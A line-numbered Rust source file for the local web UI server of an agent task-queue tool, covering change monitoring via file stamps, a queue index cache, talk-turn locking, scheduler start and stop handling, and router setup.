1#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118pub const DEFAULT_PORT: u16 = 7878;
120
121const POLL: Duration = Duration::from_secs(1);
123
124const KEEPALIVE: Duration = Duration::from_secs(15);
128
129const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145const LIST_DEFAULT: usize = 50;
149const LIST_MAX: usize = 500;
151
152const TITLE_MAX: usize = 72;
154
155const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172const FILENAME_HEADER: &str = "x-filename";
176
177const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200 font-src data:; base-uri 'none'; form-action 'none'; \
201 frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210 Auto,
212 Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217 type Err = String;
218
219 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223 if s.eq_ignore_ascii_case("auto") {
224 return Ok(Self::Auto);
225 }
226 s.parse()
227 .map(Self::Addr)
228 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229 }
230}
231
232impl std::fmt::Display for Bind {
233 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234 match self {
235 Self::Auto => f.write_str("auto"),
236 Self::Addr(addr) => write!(f, "{addr}"),
237 }
238 }
239}
240
241#[derive(Debug, Clone)]
243pub struct Opts {
244 pub bind: Bind,
246 pub port: u16,
248 pub repo: PathBuf,
250 pub open: bool,
253 pub merge: Option<String>,
259}
260
261impl Default for Opts {
262 fn default() -> Self {
263 Self {
264 bind: Bind::Auto,
265 port: DEFAULT_PORT,
266 repo: PathBuf::from("."),
267 open: false,
268 merge: None,
269 }
270 }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279 try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283 try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287 use std::hash::{Hash as _, Hasher as _};
288 let entries = match std::fs::read_dir(root) {
289 Ok(entries) => entries,
290 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291 Err(e) => return Err(e),
292 };
293 let mut stamps = HashMap::new();
294 for entry in entries {
295 let entry = entry?;
296 let path = if runs {
297 entry.path().join("run.json")
298 } else {
299 entry.path()
300 };
301 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302 continue;
303 }
304 let identity = match file_identity(&path) {
305 Ok(identity) => identity,
306 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307 Err(e) => return Err(e),
308 };
309 let modified = identity
310 .modified
311 .duration_since(std::time::UNIX_EPOCH)
312 .unwrap_or_default();
313 let mut hasher = std::hash::DefaultHasher::new();
314 identity.hash(&mut hasher);
315 let id = if runs || all_entries {
316 entry.file_name().to_string_lossy().into_owned()
317 } else {
318 path.file_stem()
319 .unwrap_or_default()
320 .to_string_lossy()
321 .into_owned()
322 };
323 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324 }
325 Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330 base: u64,
331 changed: Vec<String>,
332 removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336 let mut changed: Vec<_> = next
337 .iter()
338 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339 .map(|(id, _)| id.clone())
340 .collect();
341 let mut removed: Vec<_> = previous
342 .keys()
343 .filter(|id| !next.contains_key(*id))
344 .cloned()
345 .collect();
346 changed.sort_unstable();
347 removed.sort_unstable();
348 Delta {
349 base,
350 changed,
351 removed,
352 }
353}
354
355#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358 stamps_revision(&store_stamps(runs, true))
359}
360
361fn stamps_revision(stamps: &Stamps) -> u64 {
365 use std::hash::{Hash as _, Hasher as _};
366 if stamps.is_empty() {
367 return 0;
368 }
369 let mut entries: Vec<_> = stamps.iter().collect();
370 entries.sort_unstable();
371 let mut hasher = std::hash::DefaultHasher::new();
372 entries.hash(&mut hasher);
373 hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378 pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385 #[cfg(test)]
386 reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391 id: String,
392 status: Option<crate::queue::TaskStatus>,
393 priority: i32,
394 runs: Vec<String>,
395 source: Source,
396 chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400 fn from(task: Task) -> Self {
401 Self {
402 id: task.id,
403 status: Some(task.status),
404 priority: task.priority,
405 runs: task.runs,
406 source: task.source,
407 chat: task.chat,
408 }
409 }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414 modified: std::time::SystemTime,
415 len: u64,
416 #[cfg(unix)]
417 identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421 let meta = path.metadata()?;
422 Ok(FileIdentity {
423 modified: meta.modified()?,
424 len: meta.len(),
425 #[cfg(unix)]
426 identity: {
427 use std::os::unix::fs::MetadataExt as _;
428 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429 },
430 })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439 pub latest: Arc<Mutex<MonitorSnapshot>>,
440 pub worker_started: std::sync::atomic::AtomicBool,
441 pub queue_index: Arc<Mutex<QueueIndex>>,
442 list_walks: Mutex<Vec<ListWalk>>,
443}
444
445fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
447 let (mut rev, mut stamps) = previous.unwrap_or_default();
448 for (index, root, runs) in [
449 (0, ui.queue.root(), false),
450 (1, ui.runs.as_path(), true),
451 (2, ui.talks.root(), false),
452 ] {
453 if let Ok(next) = try_store_stamps(root, runs) {
454 let value = stamps_revision(&next);
455 match index {
456 0 => rev.0 = value,
457 1 => rev.1 = value,
458 _ => rev.3 = value,
459 }
460 stamps[index] = next;
461 }
462 }
463 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
464 rev.2 = stamps_revision(&next);
465 }
466 if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
467 rev.4 = stamps_revision(&next);
468 }
469 rev.5 = ui.lock_loop().rev;
470 (rev, stamps)
471}
472
473impl SharedMonitor {
474 pub fn new() -> Self {
475 let (tx, _) = tokio::sync::broadcast::channel(64);
476 Self {
477 broadcaster: tx,
478 latest: Arc::default(),
479 worker_started: std::sync::atomic::AtomicBool::new(false),
480 queue_index: Arc::default(),
481 list_walks: Mutex::default(),
482 }
483 }
484
485 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
486 let mut receiver = self.broadcaster.subscribe();
487 self.ensure_worker(ui);
488 loop {
489 if let Some((revisions, _)) = self
490 .latest
491 .lock()
492 .unwrap_or_else(PoisonError::into_inner)
493 .as_ref()
494 {
495 return Ok(*revisions);
496 }
497 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
498 .await
499 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
500 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
501 }
502 }
503
504 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
505 if self
506 .worker_started
507 .compare_exchange(
508 false,
509 true,
510 std::sync::atomic::Ordering::SeqCst,
511 std::sync::atomic::Ordering::SeqCst,
512 )
513 .is_err()
514 {
515 return;
516 }
517
518 let weak_ui = Arc::downgrade(ui);
519 tokio::spawn(async move {
520 let mut ticker = tokio::time::interval(POLL);
521 loop {
522 ticker.tick().await;
523 let Some(ui) = weak_ui.upgrade() else {
524 break;
525 };
526
527 let previous = ui
528 .monitor
529 .latest
530 .lock()
531 .unwrap_or_else(PoisonError::into_inner)
532 .clone();
533 let state = Arc::clone(&ui);
534 let scan =
535 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
536
537 ticker.reset();
539 let Ok((revisions, next_stamps)) = scan else {
540 continue;
541 };
542
543 let mut latest_guard = match ui.monitor.latest.lock() {
544 Ok(g) => g,
545 Err(p) => p.into_inner(),
546 };
547
548 let previous = latest_guard.take();
549 let (last_rev, prev_stamps) = match previous {
550 Some((r, s)) => (Some(r), Some(s)),
551 None => (None, None),
552 };
553
554 if last_rev == Some(revisions) {
555 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
556 continue;
557 }
558
559 let mut payload = serde_json::json!({
560 "queue_rev": revisions.0,
561 "runs_rev": revisions.1,
562 "questions_rev": revisions.2,
563 "talks_rev": revisions.3,
564 "notifications_rev": revisions.4,
565 "loop_rev": revisions.5,
566 });
567
568 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
569 for (index, (key, rev)) in [
570 ("queue_delta", base.0),
571 ("runs_delta", base.1),
572 ("talks_delta", base.3),
573 ]
574 .into_iter()
575 .enumerate()
576 {
577 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
578 if delta.changed.len() + delta.removed.len() > 0
579 && delta.changed.len() <= 50
580 {
581 payload[key] = serde_json::to_value(delta).expect("serializable delta");
582 }
583 }
584 }
585
586 *latest_guard = Some((revisions, next_stamps));
587 drop(latest_guard);
588
589 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
590 }
591 });
592 }
593}
594
595#[derive(Debug, Clone)]
601pub struct Ui {
602 queue: Queue,
603 questions: Questions,
604 notices: Notices,
607 talks: Talks,
608 runs: PathBuf,
609 references: Arc<id_links::IndexCache>,
610 home: PathBuf,
611 repo: PathBuf,
612 worktrees_root: PathBuf,
619 talk_turns: Arc<Mutex<TalkTurns>>,
627 admissions: Arc<tokio::sync::RwLock<bool>>,
630 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
634 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
637 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
639 auto_failed_tag: Arc<Mutex<Option<String>>>,
640 upgrade_runner: UpgradeRunner,
641 resuming: Arc<Mutex<HashSet<String>>>,
649 repos_cache: repos::Cache,
653 machine_config: Option<PathBuf>,
657 merge: Option<String>,
659 looping: Arc<Mutex<LoopState>>,
661 #[cfg(test)]
663 launch: Launch,
664 #[cfg(test)]
667 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
668 pub(crate) monitor: Arc<SharedMonitor>,
669}
670
671type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
672
673#[cfg(test)]
693struct BusyQueueGate {
694 reached: tokio::sync::oneshot::Sender<()>,
695 release: std::sync::mpsc::Receiver<()>,
696}
697
698#[cfg(test)]
699impl std::fmt::Debug for BusyQueueGate {
700 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
701 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
702 }
703}
704
705impl Ui {
706 pub fn new(
708 queue: Queue,
709 questions: Questions,
710 talks: Talks,
711 runs: PathBuf,
712 home: PathBuf,
713 repo: PathBuf,
714 ) -> Self {
715 Self {
716 queue,
717 questions,
718 notices: Notices::at(home.join("notifications")),
719 talks,
720 runs,
721 references: Arc::default(),
722 home,
723 repo,
724 worktrees_root: run::default_worktree_root(),
728 talk_turns: Arc::default(),
729 admissions: Arc::default(),
730 upgrade_gate: Arc::default(),
731 upgrade_spawned: Arc::default(),
732 upgrade_request_error: Arc::default(),
733 auto_failed_tag: Arc::default(),
734 upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
735 resuming: Arc::default(),
736 repos_cache: repos::Cache::new(),
737 machine_config: Config::machine_layer(),
738 merge: None,
739 looping: Arc::default(),
740 #[cfg(test)]
741 launch: launch_daemon,
742 #[cfg(test)]
743 busy_queue_gate: Arc::default(),
744 monitor: Arc::new(SharedMonitor::new()),
745 }
746 }
747
748 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
751 let mut index = self
752 .monitor
753 .queue_index
754 .lock()
755 .unwrap_or_else(PoisonError::into_inner);
756 let entries = match std::fs::read_dir(self.queue.root()) {
757 Ok(entries) => entries,
758 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
759 index.records.clear();
760 return Ok(Vec::new());
761 }
762 Err(e) => return Err(anyhow::Error::from(e).into()),
763 };
764 let mut seen = HashSet::new();
765 for entry in entries {
766 let path = entry.map_err(anyhow::Error::from)?.path();
767 if path.extension().is_none_or(|ext| ext != "json") {
768 continue;
769 }
770 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
771 continue;
772 };
773 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
774 seen.insert(id.to_owned());
775 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
778 let Ok(task) = self.queue.get(id) else {
779 if let Some((_, record)) = index.records.get_mut(id) {
785 Arc::make_mut(record).status = None;
786 }
787 continue;
788 };
789 #[cfg(test)]
790 {
791 index.reparsed += 1;
792 }
793 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
794 return Err(ApiError::conflict("Queue changed during read; retry"));
795 }
796 index
797 .records
798 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
799 }
800 }
801 index.records.retain(|id, _| seen.contains(id));
802 let mut tasks: Vec<_> = index
803 .records
804 .values()
805 .map(|(_, task)| task.clone())
806 .collect();
807 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
808 Ok(tasks)
809 }
810
811 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
812 let Some(record) = self
813 .indexed_tasks()?
814 .into_iter()
815 .find(|task| task.runs.iter().any(|id| id == run_id))
816 else {
817 return Ok(None);
818 };
819 let task = self.queue.get(&record.id)?;
820 if !task.runs.iter().any(|id| id == run_id) {
821 return Err(ApiError::conflict("Task relationship changed; retry"));
822 }
823 Ok(Some(task))
824 }
825
826 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
827 self.indexed_tasks()?
828 .into_iter()
829 .filter(|task| {
830 task.chat.as_deref() == Some(talk_id)
831 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
832 })
833 .map(|record| {
834 let task = self.queue.get(&record.id)?;
835 if task.chat.as_deref() != Some(talk_id)
836 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
837 {
838 return Err(ApiError::conflict("Task relationship changed; retry"));
839 }
840 Ok(task)
841 })
842 .collect()
843 }
844
845 pub fn open(repo: PathBuf) -> Self {
848 Self::new(
849 Queue::open(),
850 Questions::open(),
851 Talks::open(),
852 run::runs_root(),
853 run::home(),
854 repo,
855 )
856 }
857
858 #[must_use]
865 pub fn with_merge(mut self, merge: Option<String>) -> Self {
866 self.merge = merge;
867 self
868 }
869
870 #[cfg(test)]
873 #[must_use]
874 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
875 self.machine_config = path;
876 self
877 }
878
879 #[must_use]
884 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
885 self.worktrees_root = root;
886 self
887 }
888
889 #[cfg(test)]
894 #[must_use]
895 fn with_launch(mut self, launch: Launch) -> Self {
896 self.launch = launch;
897 self
898 }
899
900 #[cfg(test)]
910 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
911 *self
912 .busy_queue_gate
913 .lock()
914 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
915 }
916
917 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
920 let guard = Arc::clone(&self.admissions)
921 .try_read_owned()
922 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
923 if *guard {
924 return Err(ApiError::conflict(
925 "web restart in progress; retry this message",
926 ));
927 }
928 Ok(guard)
929 }
930
931 async fn start_detached_loop(&self) -> ApiResult<()> {
933 if self
934 .upgrade_spawned
935 .load(std::sync::atomic::Ordering::SeqCst)
936 {
937 return Err(ApiError::conflict("an upgrade is in progress"));
938 }
939 let reading = daemon::read_status(&self.home);
940 if let Some(other) = Foreign::of(reading.as_ref()) {
941 return Err(ApiError::conflict(format!(
942 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
943 other.who()
944 )));
945 }
946 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
947 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
948 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
949 || reading.is_some_and(|reading| {
950 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
951 });
952 if control.is_some() && scheduler_running {
953 return Err(ApiError::conflict(
954 "the scheduler is still stopping; retry Start after it has stopped",
955 ));
956 }
957 if !jobs.iter().any(|job| job.kind == "scheduler") {
958 let available =
959 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
960 if available.is_none() {
961 return Err(ApiError::conflict(
962 "the scheduler is still running or stopping; retry after its transition completes",
963 ));
964 }
965 drop(available);
966 }
967 let opts = daemon::Opts {
968 repo: self.repo.clone(),
969 merge: self.merge.clone(),
970 worktrees_root: Some(self.worktrees_root.clone()),
971 ..daemon::Opts::default()
972 };
973 daemon::spawn_detached(&self.home, &opts)
974 .await
975 .map_err(ApiError::from)?;
976 let mut state = self.lock_loop();
977 state.last_error = None;
978 state.rev += 1;
979 Ok(())
980 }
981
982 #[cfg(test)]
989 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
990 if let Some(other) = foreign {
991 return Err(ApiError::conflict(format!(
992 "{} is already running the loop, so this one will not start a \
993 second: two loops on one queue race for the same claims and \
994 burn the agent quota twice over. Stop it where it was \
995 started.",
996 other.who()
997 )));
998 }
999 let mut state = self.lock_loop();
1000 if self
1001 .upgrade_spawned
1002 .load(std::sync::atomic::Ordering::SeqCst)
1003 {
1004 return Err(ApiError::conflict("an upgrade is in progress"));
1005 }
1006 if state.live.as_ref().is_some_and(Live::alive) {
1007 return Err(ApiError::conflict(format!(
1008 "this magi web process (pid {}) is already running the loop",
1009 std::process::id()
1010 )));
1011 }
1012
1013 let stop = daemon::Stop::new();
1014 let opts = daemon::Opts {
1018 repo: self.repo.clone(),
1019 merge: self.merge.clone(),
1020 worktrees_root: Some(self.worktrees_root.clone()),
1027 ..daemon::Opts::default()
1028 };
1029 let launch = self.launch;
1030 let looping = Arc::clone(&self.looping);
1031 let handle = tokio::spawn({
1032 let opts = opts.clone();
1033 let stop = stop.clone();
1034 async move {
1035 let failure = match launch(opts, stop).await {
1036 Ok(()) => None,
1037 Err(e) => Some(format!("{e:#}")),
1038 };
1039 match &failure {
1040 Some(why) => tracing::error!("the loop stopped: {why}"),
1041 None => tracing::info!("the loop stopped"),
1042 }
1043 let mut state = lock_or_recover(&looping);
1049 state.live = None;
1050 state.last_error = failure;
1051 state.rev += 1;
1052 }
1053 });
1054 tracing::info!(
1055 "the loop is now running in this process: repo {}, merge {}",
1056 opts.repo.display(),
1057 opts.merge.as_deref().unwrap_or("as the config says")
1058 );
1059 state.live = Some(Live { stop, handle, opts });
1060 state.last_error = None;
1063 state.rev += 1;
1064 Ok(())
1065 }
1066
1067 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1073 if let Some(other) = foreign {
1074 return Err(ApiError::conflict(format!(
1075 "the loop belongs to {}, and this process cannot stop it - \
1076 stop it where it was started. A button that silently did \
1077 nothing would be worse than this refusal.",
1078 other.who()
1079 )));
1080 }
1081 #[cfg(not(test))]
1082 {
1083 daemon::request_control(
1084 &self.home,
1085 if park {
1086 crate::worker::Control::Park
1087 } else {
1088 crate::worker::Control::Stop
1089 },
1090 )
1091 .map_err(ApiError::from)?;
1092 self.lock_loop().rev += 1;
1093 Ok(())
1094 }
1095 #[cfg(test)]
1096 {
1097 let mut state = self.lock_loop();
1098 let Some(live) = state.live.as_ref() else {
1099 return Ok(());
1100 };
1101 if live.stop.stopped() && (!park || live.stop.parking()) {
1105 return Ok(());
1106 }
1107 if park {
1108 live.stop.park(crate::run::ParkCause::Operator);
1109 tracing::info!(
1110 "the loop was asked to park; the run stops at its next node boundary"
1111 );
1112 } else {
1113 live.stop.stop();
1114 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1115 }
1116 state.rev += 1;
1117 Ok(())
1118 }
1119 }
1120
1121 #[cfg(not(test))]
1128 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1129 let jobs = crate::worker::active(&self.home).map_err(|error| {
1130 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1131 })?;
1132 Ok(self.runtime_loop_view(reading, &jobs))
1133 }
1134
1135 #[cfg(test)]
1136 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1137 let state = self.lock_loop();
1138 let live = state.live.as_ref().filter(|live| live.alive());
1141 LoopView {
1142 running: live.is_some(),
1143 stopping: live.is_some_and(|live| live.stop.finishing()),
1144 parking: live.is_some_and(|live| live.stop.parking()),
1145 owned: live.is_some(),
1146 repo: live
1147 .map_or(&self.repo, |live| &live.opts.repo)
1148 .display()
1149 .to_string(),
1150 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1151 last_error: state.last_error.clone(),
1152 daemon: DaemonView::of(reading),
1153 }
1154 }
1155
1156 fn runtime_loop_view(
1158 &self,
1159 reading: Option<daemon::Reading>,
1160 jobs: &[crate::worker::Job],
1161 ) -> LoopView {
1162 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1163 let reporting = reading
1164 .as_ref()
1165 .is_some_and(|r| r.running(Timestamp::now()));
1166 let managed = scheduler.is_some()
1167 || (reporting
1168 && reading
1169 .as_ref()
1170 .is_some_and(|r| r.worker_protocol == Some(1)));
1171 let control = crate::worker::control(&self.home, "scheduler")
1172 .ok()
1173 .flatten();
1174 let persisted = if managed && scheduler.is_none() {
1177 std::fs::read(self.home.join("scheduler-options.json"))
1178 .ok()
1179 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1180 } else {
1181 None
1182 };
1183 let repo = scheduler
1184 .and_then(|job| job.payload.get("repo"))
1185 .and_then(serde_json::Value::as_str)
1186 .map(str::to_owned)
1187 .or_else(|| {
1188 persisted
1189 .as_ref()
1190 .map(|opts| opts.repo.display().to_string())
1191 })
1192 .unwrap_or_else(|| self.repo.display().to_string());
1193 let merge = match scheduler {
1194 Some(job) => job
1195 .payload
1196 .get("merge")
1197 .and_then(serde_json::Value::as_str)
1198 .map(str::to_owned),
1199 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1200 };
1201 LoopView {
1202 running: managed || reporting,
1203 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1204 parking: matches!(control, Some(crate::worker::Control::Park))
1205 && jobs.iter().any(|job| job.kind == "task"),
1206 owned: managed,
1207 repo,
1208 merge,
1209 last_error: self.lock_loop().last_error.clone(),
1210 daemon: DaemonView::of(reading),
1211 }
1212 }
1213
1214 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1216 lock_or_recover(&self.looping)
1217 }
1218
1219 fn is_thinking(&self, id: &str) -> bool {
1221 self.talk_turns
1222 .lock()
1223 .is_ok_and(|turns| turns.live.contains(id))
1224 || self.talks.turn_held(id)
1227 || crate::consult::turn_worker_active(&self.talks, id)
1228 }
1229
1230 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1249 self.claim_talk_turn(id, false)
1250 }
1251
1252 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1255 self.claim_talk_turn(id, true)
1256 }
1257
1258 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1259 let mut live = self
1260 .talk_turns
1261 .lock()
1262 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1263 if crate::consult::turn_worker_active(&self.talks, id) {
1264 if queued {
1265 *live.queued.entry(id.to_owned()).or_default() += 1;
1266 }
1267 return Ok(None);
1268 }
1269 let inserted = live.live.insert(id.to_owned());
1270 let lease = if inserted {
1274 match self.talks.claim_turn(id) {
1275 Ok(Some(lease)) => Some(lease),
1276 Ok(None) => {
1277 live.live.remove(id);
1278 None
1279 }
1280 Err(e) => {
1281 live.live.remove(id);
1282 return Err(ApiError::from(e));
1283 }
1284 }
1285 } else {
1286 None
1287 };
1288 if lease.is_none() {
1289 if queued {
1290 *live.queued.entry(id.to_owned()).or_default() += 1;
1295 }
1296 return Ok(None);
1297 }
1298 Ok(Some(TalkTurnGuard {
1299 talk: id.to_owned(),
1300 turns: Arc::clone(&self.talk_turns),
1301 released: false,
1302 lease,
1303 }))
1304 }
1305
1306 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1311 let mut live = self
1312 .talk_turns
1313 .lock()
1314 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1315 if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1317 return Ok(TalkTurnStart::Busy);
1318 }
1319 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1320 return Ok(TalkTurnStart::Foreign);
1321 };
1322 let talk = self.talks.get(id).map_err(ApiError::from)?;
1324 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1325 return Ok(TalkTurnStart::Pending);
1326 }
1327 live.live.insert(id.to_owned());
1328 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1329 talk: id.to_owned(),
1330 turns: Arc::clone(&self.talk_turns),
1331 released: false,
1332 lease: Some(lease),
1333 }))
1334 }
1335
1336 fn queued_generation(&self, id: &str) -> u64 {
1337 let live = self
1338 .talk_turns
1339 .lock()
1340 .unwrap_or_else(PoisonError::into_inner);
1341 live.queued.get(id).copied().unwrap_or(0)
1342 }
1343
1344 fn auto_upgrade_busy(&self) -> bool {
1347 #[cfg(test)]
1348 if self
1349 .lock_loop()
1350 .live
1351 .as_ref()
1352 .is_some_and(|live| live.stop.busy_now())
1353 {
1354 return true;
1355 }
1356 crate::worker::active(&self.home)
1357 .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1358 || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1359 || !self
1360 .resuming
1361 .lock()
1362 .unwrap_or_else(PoisonError::into_inner)
1363 .is_empty()
1364 || !self
1365 .talk_turns
1366 .lock()
1367 .unwrap_or_else(PoisonError::into_inner)
1368 .live
1369 .is_empty()
1370 || self
1371 .talks
1372 .list()
1373 .iter()
1374 .any(|talk| self.is_thinking(&talk.id))
1375 }
1376
1377 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1381 let mut live = self
1382 .resuming
1383 .lock()
1384 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1385 if self
1386 .upgrade_spawned
1387 .load(std::sync::atomic::Ordering::SeqCst)
1388 {
1389 return Err(ApiError::conflict("an upgrade is in progress"));
1390 }
1391 if !live.insert(id.to_owned()) {
1392 return Err(ApiError::conflict(format!(
1393 "run {id} is already being resumed"
1394 )));
1395 }
1396 Ok(ResumeGuard {
1397 run: id.to_owned(),
1398 resuming: Arc::clone(&self.resuming),
1399 })
1400 }
1401
1402 pub fn router(self) -> Router {
1410 Arc::new(self).shared_router()
1411 }
1412
1413 fn shared_router(self: Arc<Self>) -> Router {
1414 Router::new()
1415 .route("/", get(index))
1416 .route("/app.css", get(app_css))
1417 .route("/app.js", get(app_js))
